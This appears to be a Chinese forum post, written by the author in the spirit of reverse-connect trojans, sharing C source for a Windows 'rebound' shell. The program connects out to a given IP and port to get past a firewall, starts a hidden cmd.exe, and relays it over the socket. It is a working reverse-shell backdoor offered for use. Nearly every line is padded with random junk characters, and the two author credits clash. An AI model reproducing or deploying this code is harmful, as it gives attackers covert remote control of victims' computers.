这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ,,Qg"C
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/* ============================== 8iIp[9~=
Rebound port in Windows NT UoxlEec
By wind,2006/7 nxZz{&
===============================*/ C19N0=
#include Pe<VPf9+
#include wgFX')l:
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#pragma comment(lib,"wsock32.lib") 2uj
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void OutputShell(); Fm`*j/rq
SOCKET sClient; P@v"aa\@2)
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Fb{N>*l.
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void main(int argc,char **argv) <^YvgQ,m
{ Yq ]sPE92
WSADATA stWsaData; D;en!.[Z
int nRet; m.D8@[y
SOCKADDR_IN stSaiClient,stSaiServer; aE~T!h
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if(argc != 3) ~.T|n =
{ w)7y{ya$
printf("Useage:\n\rRebound DestIP DestPort\n"); ZiPeP
return; x?L0R{?WW
} gmVN(K}SR5
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WSAStartup(MAKEWORD(2,2),&stWsaData); ;EBKzB
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B $u/n
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stSaiClient.sin_family = AF_INET; 71{Q#%5U~
stSaiClient.sin_port = htons(0); )U~|QdZ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %9cT#9!7
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) m7^f%<l
{ ,5W7a
printf("Bind Socket Failed!\n"); 8?Rp2n*o
return; v]EMJm6d|
} 7Fj8Mp|
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stSaiServer.sin_family = AF_INET; oJA_"xp
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); y i$+rPF1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); |enLv12Gm
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Va )W[I
{ %`i*SF(gV
printf("Connect Error!"); D$>!vD'
return; t=B1yvE"
} |%|03}Q
OutputShell(); ^6 wWv&G[8
} sU>IETo
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void OutputShell() ,sitO y}ks
{ +zh\W9
char szBuff[1024]; UVux[qX<
SECURITY_ATTRIBUTES stSecurityAttributes; 4EM+ Ye
OSVERSIONINFO stOsversionInfo; xt}.0dC!/%
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Gwk$<6E
STARTUPINFO stStartupInfo; ,8r?C !m]
char *szShell;
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PROCESS_INFORMATION stProcessInformation; DQGrXMpV0
unsigned long lBytesRead; sJL Oz>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Erw1y,mF
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &|x7T<,)
stSecurityAttributes.lpSecurityDescriptor = 0; \Y!#Y#c
stSecurityAttributes.bInheritHandle = TRUE; PA'&]piPl:
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 254V)(t^QM
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \-yI
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); b? o
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; lk>\6o:
stStartupInfo.wShowWindow = SW_HIDE; O14QlIk
stStartupInfo.hStdInput = hReadPipe; Z"VP<-
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U~D~C~\2;
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GetVersionEx(&stOsversionInfo); uE.BB#
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switch(stOsversionInfo.dwPlatformId) Z3&}C h
{ wp@_4Iq1$
case 1: OKh0m_ )7
szShell = "command.com"; +ydd"`
break; Xqw}O2QQ1
default: ?9t4>xKn
szShell = "cmd.exe"; %tP*_d:
break; Q0(6n8i
} Ry>y
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >
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send(sClient,szMsg,77,0); 2PAu>}W*
while(1) `,'/Sdr
{ SOI=~BGd)
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); q;,lv3I
if(lBytesRead) bkd`7(r
{ SE\?8cs]-
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); d3:GmB .
send(sClient,szBuff,lBytesRead,0); ,!_6X9N-h
} hdDT'+
else '4uu@?!dVk
{ i2Wvu3,D3-
lBytesRead=recv(sClient,szBuff,1024,0); b*Y Wd3
if(lBytesRead<=0) break; @Fc:9a@
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); US$$ADq
} %>$<s<y
} bB?E(>N;
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return; e@vtJaSu
}